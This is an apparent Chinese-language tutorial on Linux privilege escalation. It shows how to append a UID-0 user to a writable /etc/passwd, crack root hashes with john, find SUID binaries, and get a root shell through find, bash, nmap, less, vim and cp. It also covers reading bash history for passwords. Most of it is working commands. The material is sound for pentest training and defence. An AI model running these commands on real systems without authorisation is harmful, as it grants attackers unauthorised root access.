passwd提权

/etc/passwd/etc/shadow文件是 Linux 系统登录认证的关键文件,如果系统运维人员对 passwdshadow文件的内容或权限配置有误,则可以被利用来进行系统提权。

我们先了解一下 /etc/passwd内容的含义:

Linux 密码信息保存在两个文件中,分别为:/etc/passwd/etc/shadow

/etc/passwd文件用于保存用户信息,每一行代表一个用户,每一行通过冒号 :分为七个部分:

  1. 用户名
  2. 密码,若为 x则表示密码保存在/etc/shadow
  3. UID,0 代表 root
  4. GID,表示所在组
  5. 描述信息,依次为 Full Name、Room Number、Work Phone、Home Phone 和 Other
  6. 用户主目录
  7. 默认 shell 类型

例如,假设 /etc/passwd文件中其中一行信息如下:

1607657766_5fd2e926952afffe8e697

其含义解读如下:

​ *用户名:test-user

​ *密码保存在 /etc/shadow

​ *UID 为 1001

​ *GID 为 1001

​ *描述信息: Full Name [test]: Room Number [11111]: Work Phone [111111-11]: Home Phone [222222-22]: Other [test]

​ *用户主目录为 /home/test-user

​ *默认 shell 为 /bin/bash

因此在登陆时候的权限是通过第三个字段 UID和第四个字段 GID确定。其中 UID=0代表 root 用户

如果我们能够对 /etc/passwd文件内容进行伪造、篡改,那就能很轻易的登录成功并获取任意用户权限。

所以,获取passwd的写入权限十分重要

通常来说,通过 /etc/passwd提权的方法有两种:

  1. 如果具有 /etc/passwdw (写入) 权限,可以直接添加一个 root 权限的用户
  2. 如果 /etc/passwd中存储 root 用户密码哈希,可以使用 john 进行破解

场景一:/etc/passwd 具有写权限

查看

1
ls -alh /etc/passwd /etc/shadow

如果有 --wx--xrwx 意味着我们具有写入权限,接下来我们需要做的就是

自己构造一行用户数据添加到 passwd 文件中,用户名和密码自定义,并且将 UID设置为 0,此时我们登陆就可以获取 root 权限。

查看 passwd 文件中 root 用户数据的格式

1
cat /etc/passwd|grep root

结果

1
root:x:0:0:root:/root:/bin/bash

先设置用户名,如syl-passwd

1
syl-passwd:x:0:0:root:/root:/bin/bash

设置密码,由于密码并不是明文而是经过 hash 算法加密之后的密文字符串,我们使用 openssl套件

使用 openssl创建一个密码为 pass123 的 linux hash,命令如下:

1
2
3
openssl passwd -1 -salt ignite pass123
#-1 :使用 MD5 hash 算法
#-salt :对 hash 算法加 "盐"

计算得到密码$1$ignite$3eTbJm98O9Hz.k1NTdNxe1,接着构造:

1
syl-passwd:$1$ignite$3eTbJm98O9Hz.k1NTdNxe1:0:0:root:/root:/bin/bash

添加到passwd

1
2
3
echo 'syl-passwd:$1$ignite$3eTbJm98O9Hz.k1NTdNxe1:0:0:root:/root:/bin/bash' >> /etc/passwd
#必须使用单引号,不能使用双引号
#使用 >>,而不是 >

这样即添加成功,也可以再次查看一下

1
cat /etc/passwd|grep syl-passwd

接下来su syl-passwd切换到 syl-passwd 用户,密码为 pass123即可拿到权限

场景二:/etc/passwd 存储用户密码 hash

一样查看读写权限

1
ls -alh /etc/passwd /etc/shadow

但是发现权限配置都是正确的,普通用户只具有 /etc/passwd文件的权限。

接下来查看 /etc/passwd文件的内容:

1
cat /etc/passwd

结果发现

1
root:$1$ignite$J98A8EVPG1O40.WnwrPEM1:0:0:root:/root:/bin/bash

中间的$1$ignite$J98A8EVPG1O40.WnwrPEM1即是root的密码哈希值,接下来所做的就是john了

先将之前获取到的 root 用户 hash 写入文件 hash.txt 中:

1
2
echo 'root:$1$ignite$J98A8EVPG1O40.WnwrPEM1:0:0:root:/root:/bin/bash' > ~/hash.txt
# 此处必须单引号

然后就john:

1
john ~/hash.txt

最后得到密码是hello

接下来就一样了,su root,提权。

shadow提权

shadow提权与passwd类似

都是获取root密码的哈希值然后进行爆破

SUID提权

什么是suid提权?

SUID是Linux的一种权限机制,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。所以利用suid提权的核心就是运行root用户所拥有的suid的文件,那么运行该文件的时候就得获得root用户的身份了。

suid特点是用户运行某个程序时,如果该程序有suid权限,程序运行进程的属主不是发起者,而是程序文件所属的属主。

linux引入了3个文件来管理用户组:

  1. /etc/passwd存放用户信息。
  2. /etc/shadow存放用户密码信息。
  3. /etc/group存放组信息

利用原理:在执行过程中,调用者会暂时获得该文件的所有者权限,且该权限只在程序执行的过程中有效。假设可执行文件binexec其属主为root,当以非root身份登录时,如binexec设置了suid权限,就可以在非root身份下运行该可执行文件,可执行文件运行时该进程的权限为root权限。

如何设置suid

列出所有文件:

1
ls -al

设置suid:

1
2
chmod u+s filename #设置suid
chmod u-s filename #去除suid

如果文件从-rw变成了-rwS说明添加上了suid权限

注意:

  • 只有可以执行的二进制程序文件才能设定SUID权限,非二进制文件设置SUID权限没任何意义
  • 命令执行者要对该程序文件拥有执行(x)权限才能使用
  • SUID权限只在该程序执行过程中有效,也就是说身份改变只在程序执行过程中有效

具有suid权限的二进制可执行文件有:

1
2
3
4
5
6
7
8
9
nmap
vim
find
bash
more
less
nano
cp
awk

如何查找

查找系统上运行的suid文件,且查找具有root权限的

1
2
3
4
5
6
7
8
9
10
11
12
13
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;


# /表示从文件系统的顶部(根)开始并找到每个目录
# -perm 表示搜索随后的权限
# -u = s表示查找root用户拥有的文件
# -type表示我们正在寻找的文件类型
# f 表示常规文件,而不是目录或特殊文件
# 2表示该进程的第二个文件描述符,即stderr(标准错误)
# >表示重定向
# /dev/null是一个特殊的文件系统对象,它将丢弃写入其中的所有内容。

查找如下:

屏幕截图 2025-01-27 160340

ls一下看看是否设置了suid权限

1
2
ls -al /usr/bin/su
#查看/usr/bin/su有无suid权限

如果看到确实设置了suid权限,而且属主为root,现在我们就可以利用我们之前提到的suid可执行二进制文件从而进行提权。

进行提权

这里的前提都是要有suid权限

如果之前查找到的usr/bin/find具有root权限,就用find命令进行提权

find

1
2
3
4
5
6
7
find filename -exec whoami \; -quit
# root
find filename -exec /bin/sh -p \; -quit
# whoami
# root

# 这里的filename对应的文件要有suid权限,比如之前看到/usr/bin/su有suid权限这里就是/usr/bin/su

还有一种差不多的提权方法

1
2
3
#先前利用以上查找suid文件查询到了/usr/bin/find 有suid权限
touch 1.txt #创建1.txt
/usr/bin/find 1.txt -exec whoami \;

好像也可以:

1
find /etc/passwd -exec /bin/bash -p \;

如果最后出了个root就说明提权成功了

同理,不只find命令,有很多赋予suid权限的文件可以达到权限提升的效果(实际上也和rbash逃逸、sudo提权那些获取shell的命令相似),这里列举几个:

suid文件 提权命令
/usr/bin/bash bash -p
/usr/bin/csh csh -b
/usr/bin/sh sh -p
/usr/bin/ksh ksh -p
/usr/bin/zsh zsh
/usr/bin/find find /etc/passwd -exec /bin/bash -p ;
/usr/bin/awk awk ‘BEGIN {system(“/bin/bash”)}’
/usr/bin/man !/bin/bash
/usr/bin/more !/bin/bash

利用相关命令均可在这个网站上查询GTFOBins

namp

适用版本:nmap2.02至5.21。

nmap是一个经典的端口扫描工具,当目标主机存在版本在2.02-5.21之间的nmap且os的版本在上面受影响的范围内或更早就可以尝试使用这种方法进行提权。

首先是进入nmap交互模式

1
nmap --interactive

之后利用命令进行提权

1
2
3
4
nmap> !sh

sh-3.2# whoami
root

less/more

使用more和less一定读取一个比较大的文件,如果文件太小无法进入翻页功能,无法使用!命令进入shell。

less与more相似,以less为例

less是一种查看文件的命令,但是我们也可以利用less进行执行我们的shell命令

1
less /etc/passwd

之后进入交互界面,输入

1
!/bin/sh
1
2
3
4
5
VISUAL="/bin/sh -c '/bin/sh'" less /etc/profile
v

less /etc/profile
v:shell

就可以进入交互界面然后写入shell的

nano

nano进入shell页面似乎比较简单

1
2
3
4
nano
ctrl + R
ctrl + X
#shell

cp/mv

以cp为例

主要是利用cp命令覆盖/etc/passwd从而进行提权

1
2
whoami
#qszd
1
openssl passwd -1 -salt test testaaa
1
echo 'test:$1$test$giCVmzusADSPMon2mwEWo1:0:0::/root/:/bin/sh' >> passwd
1
cat /etc/passwd
1
su - test

vi/vim

vim为例

首先是一种比较特殊的情况,就是vim被配置了suid权限,所以只有root才能有权限进行读写,这种时候就是

1
vim.tiny /etc/passwd
1
:!/bin/sh

其他提权

通过查询历史记录从而获得信息泄露的信息

利用以下命令可以获取

1
cat ~/.bash_history

这个命令可以查看当前用户使用过的历史命令

有可能会得到root登录的密码